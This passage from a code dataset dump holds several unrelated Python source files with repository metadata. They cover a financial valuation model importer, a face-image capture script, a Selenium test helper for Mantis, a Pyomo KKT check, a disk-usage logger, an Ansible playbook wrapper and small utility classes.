'bs_sum',\n 'Valuation' : 'valuation',\n 'Cumulative Cash Flow Statement' : 'cum_cf',\n 'Cash Flow Statement' : 'cf',\n 'Working Capital Forecasting' : 'wc',\n 'Current Assets' : 'bs_ca',\n 'Current Assets' : 'bs_ca',\n 'Non-Current Assets' : 'bs_nca',\n 'Current Liabilities' : 'bs_cl',\n 'Non-Current Liabilities' : 'bs_ncl',\n \"Shareholders' Equity\" : 'bs_se',\n 'Model Checks' : 'model_checks',\n 'Other Tables' : 'other_tables'\n }\n\n# set initial section index to 'Misc' to capture variability of the models in the initial sections\ncurrent_section = 'misc'\n\n# loop through the column list and create a corresponding list of the section names\nsection_index = []\nx = 1\nfields_imported = temp_model.index\nfor field in fields_imported:\n if field in section_names.keys():\n current_section = section_names[field]\n section_index.append(current_section)\n\n\n# add the section_index to temp_model\ntemp_model['section'] = section_index\n\n# drop the rows where the section and index are identical\ntemp_model = temp_model[temp_model.section != temp_model.index]\n\n# create standard field names and add to temp_model\nfields = pd.Series(temp_model.index)\nfields = fields.str.lower()\nfields = fields.str.replace(' ', '_')\nfields = fields.str.replace('(','')\nfields = fields.str.replace(')','')\nfields = temp_model.section.values + '_' + fields\nfields_debug = fields.copy()\n\n# take care of any remaining duplicate index items\nfor dup in fields[fields.duplicated()].unique():\n fields[fields[fields == dup].index.values.tolist()] = [dup + '.' + str(i) if i != 0 else dup for i in range(sum(fields==dup))] #left side items by row no / right side the numbered names\nfields_debug2 = fields.copy()\n\ntemp_model['std_field'] = fields.values\ntemp_model_debug = temp_model.copy()\n# reset index and then set indexe to 'std_field'\n# possible to set second index of 'section', but cell selection seems to get much more complicated\n#temp_model.reset_index()\ntemp_model = temp_model.set_index('std_field')\ndebug_model1 = temp_model.copy()\n\n# set index and column titles\n#temp_model.index.names = ['field','section']\ntemp_model.columns.names = ['period']\n\nmodel = temp_model.T #transpose the model so that the periods become the row index\n\n# if stock_issuance column missing, then set it to 0\n#if 'stock_issuance' not in model:\n# model['stock_issuance'] = 0\n\n# net share capital\n# if 'net_shares_issued' not in model.columns.tolist():\n# model['net_shares_issued'] = model.stock_repurchases + model.stock_issuance\n\n# net debt issued\n# if 'net_debt_issued' not in model.columns.tolist():\n# model['net_debt_issued'] = model.debt - model.debt.shift(1)\n\n# split into two dataframes, one for quarters and one for fiscal years\nmodel_q = model[model.index.str.startswith('Q')].copy()\nmodel_fy = model[model.index.str.startswith('F')].copy()\n\n# define key calculations\n# series to allow for checks of field names\nfields = pd.Series(model_q.columns)\n\n# revenue growth\nmodel_q['net_revenue_ttm'] = model_q.ris_net_revenue.rolling(4).sum()\nmodel_q['net_revenue_growth_3_yr'] = ( model_q.net_revenue_ttm / model_q.net_revenue_ttm.shift(12) )**(1/3) - 1\n\n# sources and uses of cash over last 3 years\n# free cash flow\nmodel_q['fcf'] = model_q['cf_net_cfo'] + model_q['cf_sum_capex']\nmodel_q['fcf_ttm'] = model_q.fcf.rolling(4).sum()\nmodel_q['fcf_3_yrs'] = model_q.fcf.rolling(12).sum()\n# M & A\nmodel_q['ma'] = model_q['cf_sum_acquisitions'] + model_q['cf_sum_divestiture']\nmodel_q['ma_ttm'] = model_q.ma.rolling(4).sum()\nmodel_q['ma_3_yrs'] = model_q.ma.rolling(12).sum()\n# shareholder cash flows\nif 'cf_sum_net_share_issuance_buybacks' not in fields.values:\n model_q['cf_sum_net_share_issuance_buybacks'] = model_q.cf_common_stock_repurchases + model_q.cf_common_stock_issuance # consider setting up 'startswith' search then summing in for loop?\nmodel_q['shareholders'] = model_q['cf_sum_dividend_paid'] + model_q['cf_sum_net_share_issuance_buybacks']\nmodel_q['shareholders_ttm'] = model_q.shareholders.rolling(4).sum()\nmodel_q['shareholders_3_yrs'] = model_q.shareholders.rolling(12).sum()\n# debt cash flows\n# if summary field missing, then create it from source data on cash flow statement\nif 'cf_sum_net_debt_issuance_repayment' not in fields.values:\n cols = model_q.columns[model_q.columns.str.startswith('cf_borrowings') | model_q.columns.str.startswith('cf_repayment')].values.tolist()\n colnum = [model_q.columns.get_loc(c) for c in cols]\n colsum = pd.Series(dtype='float')\n for i in colnum:\n if colsum.empty: colsum = pd.Series(model_q.iloc[:,i])\n else: colsum = colsum + pd.Series(model_q.iloc[:,i])\n model_q['cf_sum_net_debt_issuance_repayment'] = colsum\nmodel_q['net_debt_issued_ttm'] = model_q.cf_sum_net_debt_issuance_repayment.rolling(4).sum()\nmodel_q['net_debt_issued_3_yrs'] = model_q.cf_sum_net_debt_issuance_repayment.rolling(12).sum()\n\n# Net Debt, excluding operating lease liability\nmodel_q['net_debt'] = model_q.bs_sum_net_debt\n\n# earnings power\n# create any missing fields from source statements\nif 'ris_adjusted_ebitda' not in fields.values:\n colname = model_q.columns[model_q.columns.str.startswith('ris_adjusted_ebitda')].values.tolist()\n model_q['ris_adjusted_ebitda'] = model_q[colname]\n\nmodel_q['ep'] = ( model_q.ris_adjusted_ebitda + model_q.cf_sum_capex ) * .7\nmodel_q['ep_ttm'] = model_q.ep.rolling(4).sum()\nmodel_q['capex_ttm'] = model_q.cf_sum_capex.rolling(4).sum()\n\n# estimated market value\nmodel_q['est_market_cap'] = model_q.ep_ttm * 10 - model_q.bs_sum_net_debt\n\n# est market value from 3-year average free cash flow\nmodel_q['avg_fcf_3_yrs'] = model_q.fcf_3_yrs / 3\nmodel_q['value_from_fcf'] = model_q.avg_fcf_3_yrs * 10\n\n# est market value from return to peak EBITDA margins\nmodel_q['adj_ebitda_ttm'] = model_q.ris_adjusted_ebitda.rolling(4).sum()\nmodel_q['net_revenue_ttm'] = model_q.ris_net_revenue.rolling(4).sum()\nmodel_q['adj_ebitda_margin_ttm'] = model_q['adj_ebitda_ttm'] / model_q['net_revenue_ttm']\nmodel_q['adj_ebitda_margin_high_5_yrs'] = model_q.adj_ebitda_margin_ttm.rolling(20).max()\nmodel_q['value_from_ebitda_margin'] = ( model_q.adj_ebitda_margin_high_5_yrs - model_q.adj_ebitda_margin_ttm ) * model_q.net_revenue_ttm * 10 * .7\n\n# value from achieving peak 5-year ROIC on last 3 year change in IC\nmodel_q['ic'] = model_q.bs_sum_net_debt + model_q.bs_se_total_se\nmodel_q['avg_ic'] = ( model_q.ic + model_q.ic.shift(2) + model_q.ic.shift(3) + model_q.ic.shift(4) ) / 4\nmodel_q['roic_ttm'] = model_q.ep_ttm / model_q.avg_ic\nmodel_q['roic_high_5_yrs'] = model_q.roic_ttm.rolling(20).max()\nmodel_q['change_ic_3_yrs'] = model_q.ic - model_q.ic.shift(12)\nmodel_q['change_ep_3_yrs'] = model_q.ep_ttm - model_q.ep_ttm.shift(12)\nmodel_q['change_ep_change_ic_3_yrs'] = model_q.change_ep_3_yrs / model_q.change_ic_3_yrs\nmodel_q['value_from_ic'] = model_q.change_ic_3_yrs * model_q.roic_high_5_yrs * 10 - model_q.change_ic_3_yrs\n\n# sum of potential values\nmodel_q['total_est_value'] = model_q.est_market_cap + model_q.value_from_fcf + model_q.value_from_ebitda_margin + model_q.value_from_ic\n\n# set display columns for potential value summary\ndisplay_value_summary = ['net_revenue_ttm', 'adj_ebitda_ttm', 'adj_ebitda_margin_ttm', 'capex_ttm', 'ep_ttm', 'net_revenue_growth_3_yr', 'roic_ttm', 'net_debt', 'est_market_cap', 'fcf_ttm', 'avg_fcf_3_yrs', 'value_from_fcf', 'adj_ebitda_margin_high_5_yrs', 'value_from_ebitda_margin', 'change_ep_3_yrs', 'change_ic_3_yrs', 'roic_high_5_yrs', 'value_from_ic', 'change_ep_change_ic_3_yrs', 'total_est_value']\n\n# set display for potential value relative to current market cap\nyahoo_quote = si.get_quote_table(ticker)\nmarket_cap_units = yahoo_quote['Market Cap'][-1]\nmarket_cap = float(yahoo_quote['Market Cap'][0:-1]) #drop units and convert string to type float\nif (market_cap_units == 'B'): market_cap = market_cap * 1000\n\n# print some output\nprint('\\n\\n')\nprint('The model for {0} has been imported'.format(ticker))\nprint('The current market cap is ${0:,.0f}mm'.format(market_cap))\nprint('\\n')\nprint(model_q.loc[mrfp_dict[ticker]][display_value_summary])\nprint('\\n')\nprint('The estimated value from each source:')\nprint('current ep:\\t{0:.1f}x'.format(model_q.est_market_cap[mrfp]/market_cap))\nprint('avg fcf:\\t{0:.1f}x'.format(model_q.value_from_fcf[mrfp]/market_cap))\nprint('margin:\\t\\t{0:.1f}x'.format(model_q.value_from_ebitda_margin[mrfp]/market_cap))\nprint('growth:\\t\\t{0:.1f}x'.format(model_q.value_from_ic[mrfp]/market_cap))\nprint('-----------\\t----')\nprint('total:\\t\\t{0:.1f}x'.format(model_q.total_est_value[mrfp]/market_cap))\n","repo_name":"goriunov/325capital","sub_path":"modelimport.py","file_name":"modelimport.py","file_ext":"py","file_size_in_byte":11507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"1892035939","text":"import sys\n\ninput = lambda: sys.stdin.readline().rstrip()\nn = int(input())\nfor _ in range(n):\n a,b,c = list(map(int,input().split()))\n print(\"Data set:\",a,b,c)\n for _ in range(c):\n if a>b:\n a//=2\n else:\n b//=2\n if b>a:\n a,b=b,a\n print(a,b)\n print()\n","repo_name":"LimePencil/baekjoonProblems","sub_path":"com/LimePencil/Q26340/Fold_the_Paper_Nicely.py","file_name":"Fold_the_Paper_Nicely.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"44456473533","text":"from imutils.video import VideoStream\nfrom imutils import face_utils\nfrom imutils.face_utils import FaceAligner\nimport imutils\nimport time\nimport cv2\nimport dlib\nimport os\nimport json\n\nsave_folder_name = int(input(\"Enter your id: \"))\nuser_name = input(\"Enter your name: \")\n\nbase_dir = \"face_images/\"\nif save_folder_name:\n base_dir = base_dir + str(save_folder_name) + \"/\"\n if not os.path.exists(base_dir):\n os.makedirs(base_dir)\n\nprint(\"[INFO] Loading facial landmark predictor...\")\ndetector = dlib.get_frontal_face_detector()\npredictor = dlib.shape_predictor(\"model/shape_predictor_68_face_landmarks.dat\")\nfa = FaceAligner(predictor, desiredFaceWidth=256)\n\nprint(\"[INFO] Camera sensor warming up...\")\nvs = VideoStream().start()\ntime.sleep(2.0)\ncount_image = 0\n\n# loop over the frames from the video stream\nwhile True:\n # grab the frame from the threaded video stream, resize it to\n # have a maximum width of 600 pixels, and convert it to\n # gray scale\n frame = vs.read()\n frame = imutils.resize(frame, width=600)\n height, width = frame.shape[:2]\n gray_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n # detect faces in the gray scale frame\n rects = detector(gray_frame, 0)\n\n\n key = cv2.waitKey(1) & 0xFF\n # if the `q` key was pressed, break from the loop\n if key == ord(\"q\"):\n break\n\n # if the `s` key was pressed save the first found face\n if key == ord('s'):\n if len(rects) > 0:\n faceAligned = fa.align(frame, gray_frame, rects[0])\n image_name = base_dir + str(count_image) + \".png\"\n # save image\n cv2.imwrite(image_name, faceAligned)\n # show image\n cv2.imshow(image_name, faceAligned)\n count_image += 1\n if count_image > 20:\n count_image = 0\n\n user_data = []\n user_data_file = 'user_data.json'\n entry = {\n \"id\": save_folder_name,\n \"name\": user_name\n }\n try:\n with open(user_data_file) as input_file:\n user_data = json.load(input_file)\n input_file.close()\n except IOError:\n print(\"[ERROR] Json file not found\")\n\n user_data.append(entry)\n user_data = sorted(user_data, key=lambda user_key: user_key['id'], reverse=False)\n\n for index, user in enumerate(user_data):\n user['index'] = index\n print(\"[DEBUG] user with index = {}\".format(user))\n\n print(\"[DEBUG] user_date with index = {}\".format(user_data))\n\n with open(user_data_file, mode='w') as output_file:\n output_file.write(json.dumps(user_data, indent=4))\n output_file.close()\n\n # loop over the face detections\n for rect in rects:\n (x, y, w, h) = face_utils.rect_to_bb(rect)\n cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 0, 255), 1)\n\n # show the frame\n cv2.imshow(\"Frame\", frame)\n\n# do a bit of cleanup\ncv2.destroyAllWindows()\nvs.stop()","repo_name":"nguyenhotoanthuap97/face_recognition","sub_path":"facerec_cnn/facerec_cnn_generate_dataset.py","file_name":"facerec_cnn_generate_dataset.py","file_ext":"py","file_size_in_byte":3151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"71898411229","text":"from selenium.webdriver.support.ui import Select\nfrom model.project import Project\n\nclass ProjectHelper:\n\n def __init__(self, app):\n self.app = app\n\n def open_projects_page(self):\n wd = self.app.wd\n # if the current page address ends with \"\\manage_proj_page.php\" and there is a button with name \"new\" on this page then\n # this is a correct page\n if not (wd.current_url.endswith(\"/manage_proj_page.php\") and len(wd.find_elements_by_xpath(\"//input[@value='Create New Project']\")) > 0):\n wd.find_element_by_link_text(\"Manage\").click()\n wd.find_element_by_link_text(\"Manage Projects\").click()\n\n def create(self, project):\n wd = self.app.wd\n self.open_projects_page()\n # init project creation\n wd.find_element_by_xpath(\"//input[@value='Create New Project']\").click()\n self.fill_project_form(project)\n # submit created project\n wd.find_element_by_xpath(\"//input[@value='Add Project']\").click()\n self.open_projects_page()\n self.project_cache = None\n\n def fill_project_form(self, project):\n wd = self.app.wd\n self.change_field_value(\"name\", project.name)\n self.change_dropdown_value(\"status\", project.status)\n self.change_checkbox_value(\"inherit_global\", project.inherit)\n self.change_dropdown_value(\"view_state\", project.view)\n self.change_field_value(\"description\", project.description)\n\n def change_field_value(self, field_name, text):\n wd = self.app.wd\n if text is not None:\n wd.find_element_by_name(field_name).click()\n wd.find_element_by_name(field_name).clear()\n wd.find_element_by_name(field_name).send_keys(text)\n\n def change_dropdown_value(self, field_name, value):\n wd = self.app.wd\n # select the chosen group from the drop-down list and click it\n wd.find_element_by_name(field_name).click()\n Select(wd.find_element_by_name(field_name)).select_by_visible_text(value[0])\n # if value[2] is not None:\n # wd.find_element_by_xpath(\"(//option[@value='%s'])[%s]\" % (value[1], value[2])).click()\n # else:\n # wd.find_element_by_xpath(\"//option[@value='%s']\" % value[1]).click()\n\n def change_checkbox_value(self, field_name, text):\n wd = self.app.wd\n # when new project dialog is opened the checkbox is set by default\n if text == \"no\":\n wd.find_element_by_name(\"inherit_global\").click()\n\n project_cache = None\n\n def get_project_list(self):\n # check if group cache is empty\n if self.project_cache is None:\n wd = self.app.wd\n self.open_projects_page()\n self.project_cache = []\n\n for element in wd.find_elements_by_xpath('//a[contains(@href, \"%s\")]' % \"project_id=\"):\n text = element.get_attribute(\"text\")\n refstring = element.get_attribute('href')\n id = refstring[refstring.rfind(\"=\")+1:]\n\n #print(text + \" \" + id)\n if len(text) != 0:\n self.project_cache.append(Project(name=text, id=id))\n\n return list(self.project_cache)\n\n def count(self):\n wd = self.app.wd\n self.open_projects_page()\n return (len(wd.find_element_by_name(\"project_id\").find_elements_by_tag_name(\"option\")) - 1)\n\n def delete_project_by_id(self, id):\n wd = self.app.wd\n self.open_projects_page()\n # select first project\n self.select_project_by_id(id)\n # click delete project button\n wd.find_element_by_xpath(\"//input[@value='Delete Project']\").click()\n # confirm project deletion\n wd.find_element_by_xpath(\"//input[@value='Delete Project']\").click()\n #self.return_to_projects_page()\n self.open_projects_page()\n self.project_cache = None\n\n def select_project_by_id(self, id):\n wd = self.app.wd\n # select the target (index) project in the list\n wd.find_element_by_xpath(\"//a[contains(@href, 'manage_proj_edit_page.php?project_id=%s')]\" % id).click()\n","repo_name":"khizha/python_training_mantis","sub_path":"fixture/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":4121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"31155623269","text":"# KKT conditions \n\n# %% quadratic programming example \n\nimport numpy as np \nimport pyomo.environ as pyo \nfrom pyomo.opt import TerminationCondition\n\nThreshold = 1e-5 \n\nmodel = pyo.ConcreteModel()\nmodel.z1 = pyo.Var()\nmodel.z2 = pyo.Var()\n\nmodel.obj = pyo.Objective(expr = model.z1 **2 + model.z2**2)\n# model.cons1 = pyo.Constraint(expr = 1 <= model.z1)\n# model.cons2 = pyo.Constraint(expr = 1 <= model.z2)\nmodel.cons1 = pyo.Constraint(expr = -model.z1 <= -1)\nmodel.cons2 = pyo.Constraint(expr = -model.z2 <= -1)\n# ---------------------only in the <= form ----------------------------------\n\n\nmodel.dual = pyo.Suffix(direction = pyo.Suffix.IMPORT)\n\nresult = pyo.SolverFactory('ipopt').solve(model)\nprint('dual1 = ',model.dual[model.cons1])\nprint('dual2 = ',model.dual[model.cons2])\nprint('z1*_solver = ',model.z1())\nprint('z2*_solver = ',model.z2())\nprint('opt_value = ',model.obj())\n\n# %% check the status \nif result.solver.termination_condition is not TerminationCondition.optimal:\n KKTsat = False \nelse:\n A = -np.eye(2)\n b= -np.ones((2,1))\n zOpt = np.array([model.z1(),model.z2()])\n u = []\n for c in model.component_objects(pyo.Constraint,active = True):\n print('Constraint',c)\n for i in c:\n u.append(model.dual[c[i]])\n# -------------pay attention to here !!!------------\n print(model.dual[c[i]])\n\n u = np.asarray(u)\n for i in range(len(u)):\n if u[i] < Threshold and u[i] > Threshold:\n u[i] = 0\n \n flag_primal = np.any(\n np.all(A @ zOpt <= b + Threshold) or \n np.all(A @ zOpt <= b - Threshold) \n )\n\n flag_dual = np.all(u >=0 )\n\n flag_cs = np.all(np.multiply(u,(A@zOpt-b)) < Threshold) and np.all(np.multiply(u,(A@zOpt-b)) > -Threshold)\n\n grad_lagrangian = [2*zOpt[0],2*zOpt[1]] + u.T @ A \n\n for i in range(len(grad_lagrangian)):\n if grad_lagrangian[i] < Threshold and grad_lagrangian[i] > -Threshold:\n grad_lagrangian[i] = 0 \n flag_grad = np.all(grad_lagrangian ==0)\n\n flags = [flag_primal,flag_dual,flag_cs,flag_grad]\n if np.all(np.array(flags)==1):\n KKTsat = True\n else:\n KKTsat = False \n\nprint(KKTsat)","repo_name":"ZionDeng/Advanced-Control-Design","sub_path":"py_files/Lab4_KKT.py","file_name":"Lab4_KKT.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"1087857574","text":"import itertools\nimport os\nfrom logging.handlers import SysLogHandler\nimport logging\nimport re\nimport subprocess\n\nDIFF_VALUE=1000\n\ndef readcommand():\n cmd = \"df -m --portability\"\n ret = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True).communicate()[0]\n currword = ret.split()\n currwordlist = [ currword[i:i+6] for i in range(7, len(currword), 6) ]\n return currword,currwordlist\n \ndef check_exist(prevwordlist):\n if os.path.exists('/tmp/strage.txt'):\n save_path1 ='/tmp'\n openname1 = os.path.join(save_path1,\"strage.txt\")\n fp1 = open(openname1,\"r\")\n fpread1 = fp1.read()\n prevword = fpread1.split()\n prevwordlist = [ prevword[i:i+6] for i in range(7, len(prevword), 6) ]\n return prevwordlist\n else:\n prevword = currword\n prevwordlist = [ prevword[i:i+6] for i in range(7, len(prevword), 6) ]\n return prevwordlist\n\ndef writefile(currwordlist,prevwordlist):\n logging.basicConfig(filename='/var/log/Pom.log',level=logging.DEBUG,filemode='a',datefmt='%m-%d %H:%M',format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s')\n save_path ='/tmp'\n openname = os.path.join(save_path,\"strage.txt\")\n f = open(openname,\"w\")\n f.write(\"Filesystem 1K-blocks Used Available Use% Mounted on\\n\")\n countline = int(len(currwordlist)) \n\n i=0\n while (i < countline):\n k=0\n while (k<1):\n valuesplit = currwordlist[i]\n valuesplit1 = prevwordlist[i]\n used = float(valuesplit[2])*0.0001\n ava = float(valuesplit[3])*0.0001\n print >>f, valuesplit[0],'\\t',valuesplit[1],'\\t',valuesplit[2],'\\t',valuesplit[3],'\\t',valuesplit[4],'\\t',valuesplit[5]\n used = str(round(used,2))\n ava = str(round(ava,2))\n checkava = float(valuesplit1[3])-float(valuesplit[3])\n if checkava>DIFF_VALUE:\n logging.warning('%s:Diff value: %s',valuesplit[0],checkava)\n print(\"Warnning::::Diff value at \",valuesplit[0],checkava)\n logging.info('%s:C %sG:A %sG:%s',valuesplit[0],used,ava,valuesplit[4]) \n k+=1\n i+=1\n\ncurrword,currwordlist = readcommand()\nprevwordlist = check_exist(currword)\nwritefile(currwordlist,prevwordlist)\n\n\n","repo_name":"Pomsplash/backup","sub_path":"check_strage.py","file_name":"check_strage.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"18734263042","text":"from src.config.Constant import *\nfrom src.io.File import list_dir, path_type, file_join_path, get_file_name, get_home\n\n\ndef get_dirs_r(root):\n arr = []\n get_dirs(root, arr)\n return arr\n\n\ndef get_dirs(root, paths):\n for element in list_dir(root):\n path = file_join_path(root, element)\n\n if path_type(path) == 'FILE':\n paths.append(path)\n else:\n get_dirs(path, paths)\n\n\ndef look_for_in(filters, paths):\n final_paths = []\n for file in paths:\n for flt in filters:\n file_name = get_file_name(file).lower().split('.')[0]\n filter_name = get_file_name(flt).replace('_', ' ').lower().split('.')[0]\n if file_name in filter_name:\n final_paths.append(dict(icon_path=flt, lnk_path=file))\n return final_paths\n\n\ndef get_filtered_list(search_for, search_in):\n paths = []\n for path in search_in:\n if HOME_DIR in path:\n path = path.replace(HOME_DIR, get_home())\n get_dirs(path, paths)\n\n filters = []\n get_dirs(search_for, filters)\n\n return look_for_in(filters, paths)\n","repo_name":"Gwynevere/TilesEditor","sub_path":"src/io/Crawler.py","file_name":"Crawler.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"6944340053","text":"import os\nimport logging\n\nfrom aexpect.client import Expect\n\nfrom avocado.utils import path\nfrom avocado.utils import process\nfrom avocado.utils.wait import wait_for\nfrom avocado.utils.software_manager.backends.yum import YumBackend\n\nfrom virttest import utils_package\n\nLOG_JOB = logging.getLogger('avocado.test')\n\n\nclass SyntaxCheckError(Exception):\n def __init__(self, cmd, output):\n self.cmd = cmd\n self.output = output\n\n def __str__(self):\n return ('The ansible-playbook command \"{}\" cannot pass syntax check: '\n '{}'.format(self.cmd, self.output))\n\n\nclass ExecutorTimeoutError(Exception):\n pass\n\n\nclass PlaybookExecutor(Expect):\n def __init__(self, inventory, site_yml, remote_user=None, extra_vars=None,\n callback_plugin=None, addl_opts=None):\n \"\"\"\n The wrapper of Ansible-playbook.\n\n :param inventory: Specify inventory host path or comma separated list.\n :param site_yml: Path of the top level playbook.\n :param remote_user: Connect as this user.\n :param extra_vars: Set additional variables.\n :param callback_plugin: The plugin of the main manager of console output.\n :param addl_opts: Other ansible-playbook common options.\n \"\"\"\n self.program = path.find_command('ansible-playbook')\n self.inventory = inventory\n self.site_yml = site_yml\n self.remote_user = remote_user\n self.callback_plugin = callback_plugin\n super(PlaybookExecutor, self).__init__(self._generate_cmd(extra_vars,\n addl_opts))\n LOG_JOB.info(\"Command of ansible playbook: '%s'\", self.command)\n\n def _generate_cmd(self, extra_vars=None, addl_opts=None):\n \"\"\"\n Generate the ansible-playbook command line to be used.\n\n :param extra_vars: et additional variables.\n :param addl_opts: Other ansible-playbook common options.\n :return: The generated ansible-playbook command line.\n \"\"\"\n playbook_cmd_options = []\n if self.callback_plugin:\n playbook_cmd_options = [\n 'ANSIBLE_STDOUT_CALLBACK={}'.format(self.callback_plugin)]\n playbook_cmd_options.extend([self.program,\n self.site_yml,\n '-i {}'.format(self.inventory)])\n not self.remote_user or playbook_cmd_options.append(\n '-u {}'.format(self.remote_user))\n not extra_vars or playbook_cmd_options.append(\n \"-e '{}'\".format(extra_vars))\n not addl_opts or playbook_cmd_options.append(addl_opts)\n playbook_cmd = r' '.join(playbook_cmd_options)\n self._syntax_check(playbook_cmd)\n return playbook_cmd\n\n @staticmethod\n def _syntax_check(cmd):\n \"\"\"\n perform a syntax check on the playbook, but do not execute it.\n\n :param cmd: The generated ansible-playbook command line.\n \"\"\"\n try:\n process.run(cmd + ' --syntax-check', verbose=False, shell=True)\n except process.CmdError as err:\n raise SyntaxCheckError(cmd, err.result.stdout_text)\n\n def wait_for_completed(self, timeout, step_time=10):\n \"\"\"\n Waiting for ansible-playbook process to complete execution and exit\n\n :param timeout: Timeout in seconds.\n :param step_time: Time to sleep between attempts in seconds.\n \"\"\"\n if not wait_for(lambda: not self.is_alive(), timeout, step=step_time,\n text='Waiting for the ansible-playbook process to '\n 'complete...'):\n self.kill()\n raise ExecutorTimeoutError('ansible-playbook cannot complete all '\n 'tasks within the expected time.')\n LOG_JOB.info('ansible-playbook execution is completed.')\n\n def store_playbook_log(self, log_dir, filename):\n \"\"\"\n Save the ansible-playbook outputs to a specified file.\n\n :param log_dir: Path of the log directory.\n :param filename: the log file name.\n \"\"\"\n with open(os.path.join(log_dir, filename), 'w') as log_file:\n log_file.write(self.get_output())\n log_file.flush()\n\n\ndef check_ansible_playbook(params):\n \"\"\"\n check if ansible-playbook exists or not.\n\n :param params: Dictionary with the test parameters.\n :return: True if full ansible version is installed, else False.\n \"\"\"\n\n def _pip_binary():\n \"\"\"\n Define pip binary\n \"\"\"\n for binary in ['pip', 'pip3', 'pip2']:\n if process.system(\"which %s\" % binary, ignore_status=True) == 0:\n return binary\n LOG_JOB.error(\"Failed to get available pip binary\")\n return False\n\n def python_install():\n \"\"\"\n Install python ansible.\n \"\"\"\n install_cmd = '%s install ansible' % pip_bin\n status, output = process.getstatusoutput(install_cmd, verbose=True)\n if status != 0:\n LOG_JOB.error(\"Install python ansible failed as: %s\", output)\n return False\n return True\n\n def distro_install(packages=\"ansible\"):\n \"\"\"\n Install ansible from the distro\n \"\"\"\n # Provide custom dnf repo containing ansible\n if params.get(\"ansible_repo\"):\n repo_options = {\n \"priority\": \"1\",\n \"gpgcheck\": \"0\",\n \"skip_if_unavailable\": \"1\"\n }\n yum_backend = YumBackend()\n if yum_backend.add_repo(params[\"ansible_repo\"], **repo_options):\n LOG_JOB.info(f\"Ansible repo was added: {params['ansible_repo']}\")\n else:\n LOG_JOB.error(\"Ansible repo was required, but failed to be added.\")\n return False\n install_status = utils_package.package_install(packages)\n if not install_status:\n LOG_JOB.error(f\"Failed to install {packages}.\")\n # Remove custom dnf repo when it is no longer used\n if params.get(\"ansible_repo\"):\n yum_backend.remove_repo(params[\"ansible_repo\"])\n return install_status\n\n policy_map = {\"distro_install\": distro_install,\n \"python_install\": python_install}\n\n ansible_install_policy = params.get('ansible_install_policy')\n if ansible_install_policy:\n if ansible_install_policy not in policy_map:\n LOG_JOB.error(f\"No valid install policy: {ansible_install_policy}.\")\n return False\n package_list = params.get_list(\"package_list\", 'sshpass')\n try:\n check_cmd = params.get(\"ansible_check_cmd\")\n if ansible_install_policy == 'python_install':\n global pip_bin\n pip_bin = _pip_binary()\n check_cmd = rf\"{pip_bin} freeze | grep -v ansible-core | grep -q ansible=\"\n elif ansible_install_policy == 'distro_install':\n package_list.insert(0, 'ansible')\n if check_cmd:\n LOG_JOB.debug(f\"Is full ansible version installed: '{check_cmd}'\")\n process.run(check_cmd, verbose=False, shell=True)\n else:\n path.find_command('ansible-playbook')\n except (path.CmdNotFoundError, process.CmdError):\n # If except block is reached and no ansible install policy\n # is defined it is not possible to install ansible at all\n if not ansible_install_policy:\n return False\n if not policy_map[ansible_install_policy]():\n return False\n # Install ansible depended packages that can't be installed\n # by pip (or are not a dependency) when installing ansible\n if not policy_map['distro_install'](package_list):\n return False\n # If ansible and dependents packages are installed correctly\n return True\n","repo_name":"autotest/tp-qemu","sub_path":"provider/ansible.py","file_name":"ansible.py","file_ext":"py","file_size_in_byte":7825,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"11"} +{"seq_id":"24879086440","text":"from typing import Any, Dict, List, Type, TypeVar\n\nimport attr\n\nT = TypeVar(\"T\", bound=\"PageParams\")\n\n\n@attr.s(auto_attribs=True)\nclass PageParams:\n \"\"\"\n Attributes:\n page (float):\n page_size (float):\n \"\"\"\n\n page: float\n page_size: float\n additional_properties: Dict[str, Any] = attr.ib(init=False, factory=dict)\n\n def to_dict(self) -> Dict[str, Any]:\n page = self.page\n page_size = self.page_size\n\n field_dict: Dict[str, Any] = {}\n field_dict.update(self.additional_properties)\n field_dict.update(\n {\n \"page\": page,\n \"page_size\": page_size,\n }\n )\n\n return field_dict\n\n @classmethod\n def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T:\n d = src_dict.copy()\n page = d.pop(\"page\")\n\n page_size = d.pop(\"page_size\")\n\n page_params = cls(\n page=page,\n page_size=page_size,\n )\n\n page_params.additional_properties = d\n return page_params\n\n @property\n def additional_keys(self) -> List[str]:\n return list(self.additional_properties.keys())\n\n def __getitem__(self, key: str) -> Any:\n return self.additional_properties[key]\n\n def __setitem__(self, key: str, value: Any) -> None:\n self.additional_properties[key] = value\n\n def __delitem__(self, key: str) -> None:\n del self.additional_properties[key]\n\n def __contains__(self, key: str) -> bool:\n return key in self.additional_properties\n","repo_name":"zetaalphavector/sumblogger","sub_path":"src/adapters/zav_search_client/models/page_params.py","file_name":"page_params.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"14251195124","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jun 11 17:54:50 2019\n\n@author: ubuntu\n\"\"\"\n\nfrom .base_dataset import BaseDataset\nimport numpy as np\n\nclass HeartScaleDataset(BaseDataset):\n \"\"\"参考SVM算法例程的数据集\n \"\"\"\n def __init__(self, root_path='./dataset/simple/'):\n \n self.path = root_path + 'heart_scale'\n super().__init__() # 先准备self.path再init\n \n def 